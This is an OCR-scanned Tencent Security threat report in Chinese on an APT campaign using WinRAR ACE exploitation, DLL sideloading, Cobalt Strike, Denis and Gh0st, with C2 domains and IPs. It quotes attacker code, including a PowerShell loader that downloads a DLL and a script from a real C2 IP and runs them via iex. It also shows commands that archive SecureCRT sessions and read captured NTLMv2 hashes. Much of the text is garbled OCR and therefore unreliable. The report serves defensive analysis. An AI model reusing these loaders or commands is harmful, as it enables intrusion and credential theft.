shta.exe T 4 i MO LG d b bt toa bgiedtg=i—c on. com/ fe
ed/n ews.html http://api baldu—_]son.com.f'feed/news.100:' |
#ﬁlR’f’I HO | 77 N [_)fai_uw&x&wa J =1 -5_-920

T Ink [, £EA®<S: C\Windows\SysWOW64\mshta.exe

http://api.baidu-json.com/feed/news.html, [ news.html SCERA— vbs IS,
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@ BiRze
Tencent it Securit y

TLP: WHITE

10, {5 odbcconf.exe N0ZE3Z{4:

odbcconf.exe ARFEFHI— N4, Z3UETLARSRWAT dIl 324, TR TFREEHE

ARG, BRI ARG B — e S R RTI=EL:

F3 all,a%,al0
al.Run "%systemroot%\system32\odbcconf.exe /s /a {xegsyr " & a6 & "}", 0, False

On Error GoTo 0
al.Run """$systemroot%\system32\taskkill.exe""/f /im mshta.exe", 0, False

11, WinRAR ACE (CVE-2018-20250) il
wHZRBIEES, FTLWHER: BERRT SBEHESNNES, BEEIER
(C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start

Menu\Programs\Startup) BHR—NEEENE:

QQ || «|Microsoft | » |Windows » [Fi&] %2 » 2% » B3 v 4 || = Ew

e s % winword.exe
2019/4/24 12:25
110 M

1 TE
o =m
=l BEAERGE

ZXEA— N BREER, EatiE, SB—
{7026ce06-ee00-4ebd-b00e-f5150d86¢13e}.ocx 4, SRAEHITARS regsvr32 /s /i

{7026ce06-ee00-4ebd-b00e-f5150d86¢c13e}.ocx 4T
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§7ﬁm§g

Tencent Security

TLP: WHITE
8 winword.exe (PiEHER) (E=8E=R x5
X (@) | TRES) HEBH0) AN ) _—
BoDIie \00e =
Ehn | BER | WA == e =227 A% 2 | gEss I8 SEEER
T B winword.exe - SRR ZIP A, BEII 078,944 5 ¢
F=373 - Suh R 2 ;The comment below contains SFX script commands
- 2= Setup=regsvr32 /s /i {7026ce06-ee00-4ebd-b00e-£5150d86c13e}.0cx
] {7026ce06-ee00-4ebd-b00e-f5150d86c1 3¢}.0cx 978944 952838 ActiveX i Setup=regsvr32 /s /i {7026ce06-se00-4ebd-b00=—£5150d86c13e} . ocx
2.4 SEHRFEWE
BIESRFIEENF, BAIERRMEERER T ZEHEAINE,
ZHINIEERNS, #EMRE shellcode |7, FEEHITRAN RAT, i:
Function name Segment Start Length
f | sub_EODZEE =egl00 O00EOZEE 00000003
sub_E02C3 load denis RAT segl00 000EDZC3 0000Z2AT4 ]

MERFIIEENE, AT, B shellcode [F, £ T shellcode #1117, 3R

BAET, BRINETCIRETHY RAT:

Function name Segment Start Length
¥ subids 2000 00000045 00000008
[F] =ub_50 zeg000 00000050 00000005
F| sub_T2 e 000 00000072 000000FE
| F| =ub_163 download & exzec shellcode sez000 Q0000165 Qo001 40z

F| sub_E1807T =ez000 QOQE1=0T ooaoooos
[[£] sub_E180F  load denis RAT sez000 DOOE130F DO0OZAT4

XEEELENEINNFENSEYE, FREAE,

2.5 SRSWHEIHNRY

EEBRAT ST ERMNA, A
1. dilgynnE: (E00:8)

ZRA LECFAEL, XBEABEA,

Bl IEmERTO
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TLP: WHITE

BiR=E=

Tencent Security

2, ERRGMFRIT

40 odbcconf.exe

Office HEZEAFHIT

EXBES#EIA,

.

shellcode

XEUABET.

ININELREHRLAT 7SR/

ATHILZ T s, sEE

URRS UM FESLERN,

LIESSAL S

H

-

BRIREER,

Y

XX

RIUS IR RIS

TR INAZE AR

X 61.4 MB (64,480,256 =

o):

£1 %] File: mpr.dil
— (= Dos Header

1= Nt Headers

(=) File Header

1=l Optional Header

=) Data Directories x]
[5] Section Headers []

I Export Directory

|22 Import Directory

|2 Resource Dirsctory

[ Relocation Directory
“"jdkﬂms Converter
%, Dependency Walker

mpr.dil
{53 723 - [lang: 1033]
{3 725 - lang: 1033] B B = | © P2
+-{) 729 - [lang: 1033]
) 751 - lang:1033] Of fsst 0 % 2 B 4 5 % 2 8 9 A& B E D EF dscii
&) 733 - lang: 1033] 00D044C0 | ES 6B B4 0C OF DC 72 EB 42 63 F5 14 4D 66 BF 64 | ckdllUrecBINiL i
5 735 - [ang:1033] 000044D0 | &1 2B 83 2F 10 BA 86 58 B7 33 7D Be E4 CC D3 98 \+| e1x. 21951001
: 3 000044E0 | 0D 02 32 07 2D 1D EF 79 D3 0D C7 Fé 99 83 EC 49 iyl Cannil
) 739 - [lang: 1033] 000044F0 | 40 9E DE 2F E4 B2 OC 75 C2 7E 64 79 88 BS 57 C2 @Ib/a’luA"’ vl
£ 741 - [lang: 1033) 00004500 | 9E A7 F1 92 F0 Be 2E 83 59 3E CC 85 51 46 8C C4 | ISE 3T 1¥-110FI2
{3 743 - [lang: 103] 00004510 | E& &D 53 67 42 3F B6 31 CA 6D FD 5F &4 77 86 D1 | & SgB?MiEmé_lwil
. {5) 745 - Jang: 1033) 00004520 | 77 24 AF 45 54 37 B3 E7 75 E5 81 54 5& A9 E7 89 | w¥ ET7igud TZegl
- 3 00004530 | 0C Bi D4 C6 D4 D7 3E 77 44 DF BB A7 64 AB E7 CC | 120E0%. wDBsSjgcl
0 747 - [lang: 1033] 00004540 | FD 39 05 AE 42 63 BE 86 AC 4F C1 74 71 C4 3E 9B | 99 0«Bonl-Okzgisl
-4 749 - Jlang: 1033] 00004550 | F6 4D C7 2D CD 78 34 21 BS 7C 7B 94 9& 6F 61 09 | GHc—I=dip|{1 .
() 751 - [lang: 1033] 00004560 | 00 ED ED 7E 22 27 A1 14 48 7B 24 SF 03 8E &l OF 10 Hix_
2 753 - lang: 1033) 00004570 | 95 E1 90 4D CE 23 66 13 €1 2D B2 85 E1 6F E4 CO | 14 MI#EIA—1T3
) 795 - lang:1033] 00004580 | 34 C7 0B EB 04 0B OE 97 02 8C 80 OE Bl 1C ED 1B
b e 00004530 | BY BL ED BE 87 6F E2 B2 DE F3 FD C1 D& AF 31 &5
2 757 - lang: 1033] 00004540 | &F D7 CO 16 D4 65 Fa 9B 23 79 D2 5A Fi BE E7 45 ‘xAlOeuny Tk E
{53 753 - Jlang: 1033] DOOD4SBO | 56 24 B 37 42 F2 37 72 F5 43 DD E2 EC 53 5F 23 | ¥ShyBa?ralBais_#
23 761 - [lang: 103 000045C0 | 26 FC 4E 89 16 F2 OE C5 B &4 E3 1E 77 8C 8D Bl
) 763 - [ang:1033] 000045D0 | C8 0B 58 3D A7 02 97 49 22 50 62 OB &6 AE 4B (E
: 3 000045E0 | F9 F7 3F 4E 9C 53 7B F7 D9 69 80 7E 70 30 95 6F
20 765 - flang: 1033] 000045F0 | 0B 6C 56 CB 24 7F FD E1 F9 DC 4B 2C 33 E2 4C JF
-2 767 - [lang: 1033] 00004600 | D8 DE 1C E& 16 BA 8F 40 CE 13 86 F7 48 26 35 97 b &
{23 769 - [lang: 103] 00004610 | 33 8C F2 58 38 15 AD 94 93 D1 CB A5 58 32 31 2C EIDXBI—IINE¥X21
53 774 - [lang: 1033) 00004620 | 76 08 83 70 49 61 D5 99 F3 6D E6 CA 79 AB DE 01 v||p1a6|gmﬁ:y«b|
00004630 | CF 7D SB SB FA 97 37 27 66 E8 13 CO 3D 89 BO 35
0 773 - [lang: 1033] 00004640 | 8D D& AF B7 00 FS 95 AE 0A 1B 94 BC 53 53 9B €5
- 775 - [lang:1033] 00004650 | 23 B7 C8 DO 60 Bé 62 FD 1 84 01 7C 41 53 26 CD
-3 777 - [lang: 1033] 00004660 | 44 30 6F D& F7 2B 58 ED 71 44 34 5C 63 &9 70 58
2 779 - lang:1033) 00004670 | B4 A2 39 A2 E0 91 D5 7F 66 E8 13 CO 3D 89 BO 35
- : 00004650 | 8D 04 AF B7 00 F5 95 AB 05 46 EF D7 95 A2 €0 B3
3 781 - [lang: 1033] =(|o00n4e30 [ 03 €9 7 53 &8 9C 25 BB C8 23 51 E2 26 58 87 8D
+-{J) 783 - [lang: 1033]
{3 785 - [lang: 1033]
i) 787 - [lang: 1033] -

Bl IEMERTO
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[ERZEE
TLP: WHITE @ Tencent Security

| o omprdll BtE |
B | &2 | FHER | LEREE

Bt B
i

M HHEA
£l ERERTE
T hE
P T,
FEamhiE

otk E1.4 ME
EfrHEl =015/2/28 6:57

v
(==

e R

| e | [ BE || ERW

5. BEV=SNE_MEREIJEEEHIRY
BENRRISE M RE I HERRIRES IR RE T (AHEER) KIIEEHN,
EtEENNER LIS hash EA—H, BiIRIXEYSIBEXEENTERES. Eit
ERMEwRZ 2 B, REREXASRIEREREEN A EMHE HEIERY
payload, FHPINEXM "EFICEI T B85 .

6. EERIEE
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@ BiRze
Tencent Security

TLP: WHITE

INFEORWES C2 e HRIRECEER, I T ARSI, X C2 BHTHiER
[EERATHNT. FHEDRA (ox RECE C2)

{rand}.xxx

WWW6.XXX

cdn.xxx

api.xxx

3240.dns15.gdtechnical.com

26963.dns15.gdtechnical.com
45938.dns15.gdtechnical.com
58246.dns15.gdtechnical.com
98818.dns15.gdtechnical.com
69665.dns15.gdtechnical.com
17468.dns15.gdtechnical.com
8263.dns15.gdtechnical.com

6842 1.dns15.gdtechnical.com
56370.dns15.gdtechnical.com
43501.dns15.gdtechnical.com
87881.dns15.gdtechnical.com
27831.dns15.gdtechnical.com
7407 8.dns15.gdtechnical.com
25729.dns15.qdtechnical.com
19397.dns15.gdtechnical.com
58596.dns15.gdtechnical.com
93681.dns15.gdtechnical.com
17961.dns15.gdtechnical.com
16808.dns15.gdtechnical.com
33102.dns15.gdtechnical.com
14694.dns15.gdtechnical.com

95289.dns15.adtechnical.com

HTTP Header B9l
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TLP: WHITE

Bil&EE

Tencent Security

aa472430
Ba472440
aa472450
aaL72460
ga47247 08
aa472480
aaL72400
ga4s24n 0
aa4724B0
gaLs24Ca
gass24ba
aa472LER
ga4724F 8
ga47s2588
aa4725108
88472528
aa472530a
aa472540
ga472558
aa472560
aaL72570
ga472580
aa472594a
aa4725n0
ga472560
aa4725CcA
aa472508
a84725E8
aa4725F A
ga4726080

8472618
AALFZAZ R

aa
48
63
iy
6C
ab
i1
2E
2D
2C
a8
a8
17
9
aa
iy
63
aa
62
a7
i1
68
2F
1

28
aa
61

aa
aa
a1

ac
an

aa
6F
aF
an
69
i1H
6C
38
. 1H
65
69
iy
¥2
6F
aa
aa
6E
an
61
1
6C
iy
2R
63
65
aa
9
aa
aa
aa

63
an

aa
73
ab
28
63
2C
3B
aa
61
6E
65
6E
73
34
aa
aa
aa
aa
69
63
2C
6D
3JB
63
6E
a9
aa
a7
a6
aa

[i]H
an

ac
iy
aa
iy
61
61

i1

aa
6E
3B
3D
ab
i
b
ap
aa
aa
aa
64
63
61

6C
Fl

6%
2D
aa
aa
aa
61

aa

69
an

2.6 FEHHERIREI]

EREHMRET] (FERFMERTANETD) | £

aa
3R
aa
6%
iy
i@
ab
aa
a7
i1
¥5
62
SF
6F
aa
a9
aa
aa
¥5
65
7a
2B
3D
ia
55
aa
aa
aa
7a
aF

65
an

a3
28
aa
78
69
i@
]
1]
Fi
2D
¥y
61
ia
34
aa
aa
aa
13
2E
i@
7a
8
a8
iy
53
aa
a9
aa
7a
aa

6E
an

a1
7
an
iy
6F
ac
2E
aa
61
28
66
69
i1
37
aa
aa
aa
LB
63
iy
6C
il
2E
2D
2C
8B
aa
aa
SF
aa

ih
an

aa
i7
aa
2F
6E
69
30
aa
a7
2E
2D
64
3D
66
as
aa
aa
6F
6F
an
69
6C
a8
Lc
65
63
aa
ag
69
aa

i
an

aa
i7
aa
68
2F
63
2C
aa
65
k1
38
75
6
115
aa
a9
aa
73
i1
28
63
3B
aa
61
6E
68
aa
ag
64
a4

79
an

0o
2E
ae
74
78
61

20
1F
3n
0o
0o
0o
73
8o
0o
72
a0
74
0o
74
61

71

8o
6E
3B
61

85
i
0o
0o

7@
an

aa
62
47
6D
68
iy
2F
11
28
aa
aa
aa
64
115
aa
i1
aa
an
aa
65
iy
3D
aa
67
i1
6E
7
ap
aa
aa

65
an

an
61
1
6C
iy
69
20
63
65
aa
aa
aa
¥y
as
as
6C
a3
28
aa
ig
69
38
an
75
3D
6E
65
ag
aa
aa

3D
an

e T

EHEL

aa
69
63
2C
6D
aF
3B
63
6E
a9
a9
a9
6E
ag
i2
61
i
P
i3]
iy
6F
2E
aa
61
38
65
62
115
a7
a9

3a
an

aa
64
63
61
6C
6E
i1
65
2D
aa
aa
aa
78
115
73
6E
aa
61
aa
2F
6E
39
aa
67
2E
6C
3D
ag
aa
aa

aa
5
65
P
2B
2F
aD
P
=1
aa
aa
aa
a1

115
b
67
aa
6E
aa
68
2F
2C
aa
6%
35
3D
a1

a5
aa
aa

13
2E
70
70
78
78
30
74
53
08
0o
08
6E
0o
SF
3D
00
2E
0o
74
78
2R
1F
3n
0o
64
0o
0o
08
0o

t: text/html,app
lication/xhtml+x
ml,application/x
ml;q=0.9,*/*;q=08
i Baccept
-Language: en-US

Ersv_pg=vsdtnxzin
youvosif. . 0....
------- ¥.-Fsu_
| E rqlang=
B R
..... BHost: pan.
baidu.com.......
FAccept: text/ht
ml,application/x
html+zml;q=0.9,*
Feiq=0.8....... |
Accept-Language:
en-US,en;q=0.5.
...... Echannel=d

--Bapp_id.._H_._.

T . S—

.clienttype=8...

BT 2019 FRERRIRA

PRILAESRZB. AR EREZRIREATARN 2019 FmEsE —FERERS

PREANEERHT TG HXIEaTsE TARY

t (A0#less2) HATINE, MHRITRIER

1B

AV

pal

\l I,:’:
oy

N ému%ii%zﬁo

A

i, EBERE FARRRRIEXRRE

EEEN TRITER

NHEA—E, MBRMERZ L BiiE, RERB RSB EREIENT EAEEHE

1EAY payload,

ZE &EERBEINENGICRNT, B84 AdobeUpdate.exe+goopdate.dll,

KuGouUpdate.exe+goopdate.dll,
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@ BiRze
Tencent Security

TLP: WHITE

XGFileCheck.exe + goopdate.dll, SogouCloud.exe+ inetmib1.dll &E&FH1T.

Dl1Main

Hook

Shellcode

e B 2R E= Ll R B

sha2b6
]

Key2

aesl28

Encrypt Data Playload

LdrLoadD11

— Shellcode

CreateThread
|«——————sha256 checksum

Playload

[

5 alsername

aComputername

D a82xB82x82x62x82

align 2

db "username’

db a8

' computername’,@

25h ; %

db "@2X:X02X: Xe2X e XX Xe2x' ,e
3@88h

31h ; 1

db 36h ; @
3h ; @
db a8

@A1h,1,@6Ch, 8E3h, 2Ch, 67h, "1, @E2h,4Bh, @68h,86h, 'F. (', @06h,7, ZF ', 1@h

@FCh,@BBh, " | ',9,’1;’*19h319h,'91’,9A2hﬁiL

o
=
=]

aylioad S1Ec

=

2
3
4
5
6
7
8
o
D
3

E

aCaopc

B e ey

pavload

ich -

AIER, FOREIERESAIANET, ERNEEN:

Ba12FCDE
8812FCDC
BA12FCEA
BA12FCEY
BA12FCER
B@12FCEC

BACZBBOC
BA14CBFA
883B3CFA
AafAaAA1Y
AAfAndAaa
AAC2aaaa
AAA34DAY

iE[O]%| @ec2eB9cC

ASCII "CAOPCasminiabshdlasa"

MzXENAFEA Cao*, AIRIZADRE TN T RBILZEBMTFEEMAY.
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BRZze
TLP: WHITE Tencent Security

2.7 ZHEEIR AT

MEMKIIRIRERKE , BERELAFRNSENERNY (LieEE—MREITT2
BRG] FES=f, 9382 CobaltStrike 8 beacon A, Denis RiEAD. &
hRAY GhOst, EA CobaltStrike #1 Denis {FARIIRE, TEXHRAY GhOst RIELE/D I,

CobaltStrike:
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@ BRZe

TLP WHITE Tencent Security
1HANDLE _ usercall sub_100818@8@<eax>(int lenfi<ecx>, int a2fi<eax>, char *a3@<ebx>)
21

3! HANDLE result; f/ eax

4| dint vid; S/ edi
5
6 result = (HAMNDLE)}(a2 - 1};
7l wvd = len;
8 switch { (unsigned int)result )
s {
1@ case Bu:
11 result = (HANDLE)}sub 10885AD7 (a3, len, 1};
1z break;
13 case lu:
14 result = (HANDLE)sub 18863D37(a3);
15 break;
186 case 2u:
17 result = (HANDLE)sub 188036C7();
18 break;
19 case 3u:
28 result = (HANDLE)sub 1880374A(len);
21 break;
22 case 4u:
23 result = (HANDLE }sub 188836DB(a3);
2 break;
25 case 8u:
26 result = (HANDLE)}sub 1888597F(len, 1);
7 break;
28 case Su:
29 result = (HANDLE)sub 18@@3EF6((int)a3, len, “"whb"};
38 break;
31 case @whu:
32 result = (HANDLE)sub 168@4E@1(a3, len);
33 break;
34 case @xBu:
35 result = (HANDLE)sub 10883938(a33);
36 break;
37 case @wCu:
38 result = (HANDLE)sub 1088562B(a3, 1};
39 break;
48 case @xDu:
41 result = (HANDLE)}sub 188076F8(a3, len);
42 break;
45 case @xEu:
a4 result = (HANDLE)sub 10867964(1len);
45 break;
45 case @xFu:
a7 result = (HANDLE }sub_16867946() ;
48 bhreak;
49 case @xleu:
58 result = (HANDLE)}sub_ 100676A4(a3);
ra  SRPAFREES LS
Denis:
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BiR=E=

TLP: WHITE il o
§25108840|FE CE 59 89 D5 7C 61 08 DB 45 85 008 24 61 08 80) Y ZEAME Y =L |
§2516056|/14 08 BA A8 67 A8 68 68 A9 68 6A 08 6B 6O 6C 6A|W...g.h.i.j.k.1.
625160066 6D @8 E A8 6F 6O 70 68 7A 60 08 08 53 00 4F 60|/ m.n.o.p.z...S.0.
6251067646 A8 54 AA 57 6@ 41 60 52 @@ 45 08 SC 68 41 68| F.T.W.A.R.E.\.A.
§2510086|70 @8 7@ @8 5C B8 41 68 70 68 78 688 58 08 37 68| p.p-\.A.p.p.%.7.
62510696(/30 @8 31 68 36 08 32 60 34 60 38 68 36 08 63 6@ 0.1.6.2.4.8.6.cC.
625100n6|37 A8 35 G@ 35 0@ 34 60 66 B0 37 68 66 0@ 38 6@ 7.5.5.4_ F.7.F.8.
625100E6|30 08 66 A8 34 6O 38 60 31 60 39 08 38 00 35 60| 0.f.4.8.1.9.8.5.
625100C6| 6% A8 36 A8 37 60 35 60 38 60 36 08 64 00 5C 60| d.6.7.5.8.6.d.\.
6251060641 A8 78 A8 70 B8 6C 60 69 60 63 08 61 6@ 74 6@/ A.p.p.l.i.c.a.t.
G25100EG|69 @8 6F @8 6E B@ 7A 6P B0 B8 53 68 4F 08 46 6@|i.o.n.z...S.0.F.
G25100F6|54% @8 57 @@ 41 0@ 52 60 45 60 5C 68 41 08 78 68| T.W.A.R.E.\.A.p.
62516160670 @8 5C 08 41 60 70 60 70 60 58 08 37 00 30 60| p.\_.A.p.p.X.7.0.
62516116(/31 08 36 08 32 60 34 60 38 60 36 08 63 00 37 60|1.6.2.4.8.6.c.7.
62516126|35 @8 35 AA 34 0@ 66 60 37 60 66 08 38 00 30 6A|5.5.4.F.7.Ff.8.0.
62510136 |66 @8 34 B4 38 08 31 60 39 60 38 68 35 6@ 64 6@ F.4.8.1.9.8.5.d.
B2510146|36 @8 37 A8 35 0@ 38 60 36 60 64 68 SC 08 44 0@|6.7.5.8.6.d.%\.D.
§2516156|65 08 66 A8 61 B8 75 BA AC B8 74 08 49 08 63 A@|e.f.a.u.l.t.I.c.
62516166 6F 08 E A8 B8 6O 6O 60 44 68 41 08 74 60 61 60| o.n.M...D.a.t.a.
62516176/ 86 A8 BA A\ 64 BA 65 6A 66 B0 68 08 AA 0@ 32 6A|N...d.e.f.h...2.
62510186/ 80 @8 6E A8 65 O@ 77 60 73 6@ 2E 08 73 08 68 6@ ..n.e.w.5...5.h.
62510196|61 @8 6E B@ 67 B8 72 68 69 B0 6C 68 61 08 65 6@/ a.n.g.r.i.l.a.e.
62510106|78 @8 78 @8 6F B8 72 68 74 6@ 73 68 2E 0@ 63 6@/ x.p.o.r.t.s...c.
625161E6|6F @8 6D 08 2E 60 60 60 62 608 AC 0@ 69 6O 70 60|o.m..... c.1l.i.p.
625161C6|2E @8 73 08 68 60 61 68 S6E B8 47 08 77 00 65 6@ ..s.h.a.n.g.w.e.
62516106 |69 08 64 A8 65 68 73 68 69 60 67 08 6E 0@ ?E AA|i.d.e.s.i.g.n...
625101E6|63 88 6F A8 60 B8 68 44 65 @0 60 68 A4 68 66 44| c.o.m. D% ... .. D
§25101FG| 85 06 4D 5A 90 06 83 00 00 00 B4 00 00 88 FF FF| Y.M2? ... | ..ijij
§2516200| 80 98 B8 A8 B0 AB 6O OB BA @A 40 08 BA A8 66 68| ..7...... @.....
§2516216/ 80 A8 PA A8 0O OO 6O 60 BA 60 A8 08 A8 60 66 BA| ... ...........
62516226/ 80 A8 PA A GG OO A0 60 A0 G0 A8 A AA A ES 8A| .............. ?
6251623688 @8 BE 1F BA OE 6@ B4 89 CD 21 B8 @1 4C CD 21| ..NN7.?77L7
62510246 |54 68 69 73 28 78 72 6F 67 72 61 6D 28 63 61 6E|This program can
625102560 |6E 6F 74 28 62 65 28 72 75 6E 28 69 6E 28 44 4F |not be run in DO
62510266|53 28 6D 6F 64 65 2E 6D 8D G8A 24 08 A 00 66 60|S mode....$.....
&Mk GhOst:
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@ EREe

TLP: WHITE Tencent Security
] e e R e e e P e e b. dﬂ?l ABCDEFGHI JKELMHOPOQRSTUVWRYZabcdefg
a83F3p11 h1]klmnupqutuuwxyzﬂ123&56?89+! ................ H.0.70.H>T =37 =
AA2EANGT| #Picoes™ B avnsanitaanas | e | P e o e e e | e
] e b R e e e e e By e e e | B R EditF
883F30D1 |1lags .- oo oo - | R ﬁm? hA? _hA?..._. l>l-?l.&.l.?l-j§ .......
BOIE3EAN || wouleusuany I...F.._P..__SOFTWAREMThunderbirdEML .KDEditFlagscloud.
A03F3E51 [reneark .com;news _exandre._com;cctu_avidsonec.com;school _obertamy.
A83F3E91 |com1.51.c.9.b.e.b 1 1.b.2.9.Ff. ¢ . 8.6.9.0.9.8.8.0.7. 1. 9.2 d.B.F.2
AO3F3ED1 | .7._.%.5.{.9.5. 4.7 5. 0.8 B.-.6.8.A.7.-_ 4 B.E.3.-.B.F.9.7.-_8.C.E
BO3F3F11| . 4. 5. E.B.2 F.C.C.B.}.%.5....... Y& ?E_SOFTWAREAThunderbirdEML _K
BA3F3F51(D._ ... .. B.% 70 .cloud.reneark.com;news . exandre.con;cctu._avidsonec
AB3F3F91| .com;school.obertamy.com....... Y.0.70.cloud.reneark.com.m......
BA3F3FD1| .. ..... Y rtl.news._exandre.com... WM. ........ ﬁiﬁimjy.cluud ren
BO3F4A11 | ParK.COM. s v vnncnnnnn- . %ngﬂ ..... i e G [ e
HUIENNSA | st sy Waiaiaaaiaetat 5 jy ..... 5.4.7.5.8.0.8B.- .6.8.9.?. -4.B
003F4891| .E.3.-.8.F.9.7F.-_8.C.E.4. 5 EiB:i2FiCiCiBa¥ygisonnuaiaas ?i..tjy.c
AO3F4001 | cty.avidsonec.com..oveeenennn. . sdm.me7.x0%......... e [AaEn
BOIENAN (| e saasaay R P EE? ............. R R pAT..
BE3F4151 | ..ol R R %il.Edﬂ.schuul.uhertamy.cum ..............
ga3F4191 ¥._Eﬁ ..... 1.c.9.b.e.b.1.1.b.2.9.Ff.e.8.6.9.0.9.8.8.8.7.1.9.2.d..8
B03F41D1| . F.a 7. . %.s...B...0f8.77.x .. ..., [ e BT
BO3F4211| ... B . B....... Bl iiaassiteg | [T R e N...H
BOSFL251 | cuuun.. %il.&jy.nEWS.exandre.igm ................ Y. =di.cotu. au1d

Jamaruanadal canan Anm W o mnhnanTl nhnadEames nnm

2.8 IHEERIAIMSIE

BYARTEEE—aENE, BECES AR IRILERIA NS TS ER TES), LAL
KSEEIEZRIARIES:

A

{"qoperbfmd5":"979498716f5918815ce012f46b09c602","qoperbfname":"bootcfg.exe","qoperbfsize":"81408","qopercmd":"\"
C:\\Windows\\system32\

\bootcfg.exe
bemd":’

subbfsize":"302592","qsu

{"goperbfmd5":"316de5eae273187a16e57f2931296079","qoperbfname":"diskperf.exe","qoperbfsize":"17408","qopercmd":"\"C
\\Windows\\system32\

\diskper;
ubcmd"|"C:\\Windows\\system32\\cmd.exe /C netstat -ano #0 findstr EST"}

bfname":"cmd.exe","qsubbfsize":"302592","gs

{"qoperbfmd5":"316de5eae273187a16e57f2931296079","qoperbfname":"diskperf.exe","qoperbfsize":"17408","qopercmd":"\"C
:\\Windows\\system32\

\diskperf.exe\"","gsubbfmd5":"ad7b9c14083b52bc532fba5948342b98", "gsubbfname":"cmd.exe","gsubbfsize":"302592","gs
ubcmd"["C:\\Windows\\system32\\cmd‘exe /C dir /O:D \"sysmon.exe\""}

{"goperbfmd5":"979498716f5918815ce012f46b09c602","qoperbfname":"bootcfg.exe","qoperbfsize":"81408","qopercmd":"\"C:\
\Windows\\system32\
\bootcfg.exe\"","qsubbfmd5":"ad7b9c14083b52bc532fba5948342b98","qsubbfname":"cmd.exe","gsubbfsize":"302592","qsubc
md":"C:\\Windows\\system32\\cmd.exe /C del /f /q *txt"}

$XEY hash:
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@ BiRze
Tencent Security

TLP: WHITE

{"qoperbfmd5":"979498716f5918815ce012f46b09c602","qoperbfname":"bootcfg.exe","qoperbfsize":"81408","qopercmd":"\"
C:\\Windows\\system32\

\bootcfg.exe'
bemd"#'C:! \\Wlndows\\system32\\cmd exe /C type \"Inveigh-NTLMv2.txt\""}

subbfname":"cmd.exe","qsubbfsize":"302592","qsu

183

{"goperbfmd5":"979d74799ea6c8b8167869a68df5204a","qoperbfname":"wscript.exe","qoperbfsize":"141824","qopercmd":"
C:\\Windows\\SysWOW64\
\wscript.exe","gsubbfmd5":"edc8c8a7ed2da7bb37d7653fa2703efe","qsubbfname":"Rar.exe","qsubbfsize":"562064","qsubcm
d":"c:\\progra~2\\winrar\\rar.exe a sesions.rar -hpEEEEEEEEEsesions -n*ini D:\\; .. J\\SecureCRT\\. M= me\\Config\\Sessions\
\'"}

{"goperbfmd5":"ae0452b66dfb25aca09392393095e7dd", "qoperbfname":"SGTool.exe","qoperbfsize":"10165864","qopercmd"
""" m m=\Sogoulnput\\9.3.0.31 29\

y
$DLFail.Add("msg","DL1-F")
$url 'http://180.235.135.211/"' $1D 'DLF1'
$res = (New-Object System.Net.WebClient).UploadValues($url,$DLFail)

{

((Test-Path -LiteralPath "C:\SogouInput\9.3.0.3129\goopdate.d11")) {
Remove-Item "C:\SogouInput\9.3.0.3129\goopdate.d11"

try {
(New-Object System.Net.WebClient).DownloadFile("http://180.235.135.211/" $ID, "C:\SogouInput\9.3.0.3129\goopdate.dl1")

{
try {
$DLFail.Add("msg","DL2-F")
$url ‘http://180.235.135.211/" $1D 'DLF2'
$res = (New-Object System.Net.WebClient).UploadValues($url,$DLFail)

4

schtasks.exe /run /tn "GoogleCrasherHandle"

($firstTime -eq 1) {
try {
$Script = (New-Object System.Net.WebClient).DownloadString("http://180.235.135.211/sc")
($PSVersionTable.PSVersion.Major -eq 2) {
iex ($Script)

{
$ScriptBlock = [Scriptblock]::Create($Script)
Invoke-Command -ScriptBlock $ScriptBlock

}

EEAGEEI 4 goopdate.dll, IR EXFRARISE MR AR,

=.  AJEFERREEE]

EIREREERRERETR, HIIERI T —LRGEENUANTEE:
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miREe
TLP: WHITE ety

un:

g- ERfERrR2l RREEREEAE » CRMERESIREERSSAR

asiEs >y HEv SR

g _ thumb.db T EREEEFReNRRERSS
= i goopdatedl :C4 | Data Base File FAZE.docxexe
o BRREES Google 222
i)
Elinvlll ol ivi=4
R
Elay
=
55

r 20190410 T2 REE

2019041034

t

=EIEER - = srErid=

& ~ 20190410 {E2E2RREIE.
i ' _'!’____f e
Microsoft Office Word

836 =T

wwlib.dll

EEREERS FE FIE V2 » FSREERE FERE V2 - [4|| 2= s=mmmes s

BlER v | HE v gEHE BE
— | EEREESE FERTT V2
Gy wwlibdl _'f_==

Microsoft Office Word

Bl e EIMERTO 30/88



@ BRZe

TLP. WHITE Tencent 1t Securi ity
=z
» EEFEAE » FESHETS v |42 || &= mmmirms
BallER >  HE v FETHE g~
F ;1 EESHETH.Exe
- i’___: Microsoft Office Word
B Microsoft Corporation
STElaORE
==
| EFIETeEXAEEGET » FTIEL fEE R EE - |42 || 2= xFeTrEmEETEm
BERER >  HE v FHETME 2= - |
g g FETHEL R AR,
) wwlib.dll i W3 e
& e - Microsoft Office Word
i
vl ot

LB HIZHEIREERRIEML: X, ERRMES,

MZM AR TAE SR /T

—7Fh 2 CobaltStrike 45%HY Beacon payload;

5—#h2 metasploit LAY block reverse_http f paylaod.

F9X CobaltStrike i Beacon ANEiBERAR—EARITRERA, BRZAIKREINE
metasploit &5k payload, XUFIRZ RIRTEERK I ENN BLEARA—EL,

LEIMZALERRT c2 HEFERA (BEFEES) , XIUFRZAINKE S AA—:

114.118.80.233
AE

R HEEIE : hE JbR dER
[FEER: ASN: 4808 CHINA169-BJ China Unicom Beijing Province
Network. CN
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TLP: WHITE @ Tencent Security

43.251.100.20

43.251.100.20

HRERARE: MRER(IE: hE FE
[EER: ASN: 137443 ANCHGLOBAL-AS-AP Anchnet Asia Limited.
HK

43.254.217.67

43.254.217.67

apt malware ip generic nong R
HBRAE: MR hE
R ASN: 55933 CLOUDIE-AS-AP Cloudie Limited. HK
BARZRENER DR TEEEN—EIRETA, ERBKAFEREMTS, BIER
BESHNHEAIRRZEN BT SECEREMALRERIRIE (false flag) i&5f.
EIEXFAMEEIE, FFESHNEREMRERAIKTE.

L . IE\QE

EECRR R R XIPEAFRRISURER I TIERIGIEERR APT B, BEEiR
BZ—. BRZAROERRE LTI FEAMHN L EIRERERI APT K&
BR, FIHBRARBEFLSR, ROAMHIEFRESASRIIREE, SEEE.
payload. FRURAFMAE, WIMEARSIRFRURAIGNFR, WEESERN, BEH.
EFILRT payload F. EICHANRBEEXE JFIERIAR, TICREXEEIR, FEER

HUTRIBABBRIEMAAUBE, AR TIBSRTERR.
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[ERZEE
TLP: WHITE @ Tencent Security

h. EHE2EN

1. BARERR, FEITFREABRIEMFaIY, BRIAESERIRATSE, &R, SN
TERZEMA Office RUZRHHT;

2. RRSZEBARR SN T 0 Office SERRHAIANT

3. ERRSRUHEREEREAINE, WTEWAR, FFERBMIRRInReE
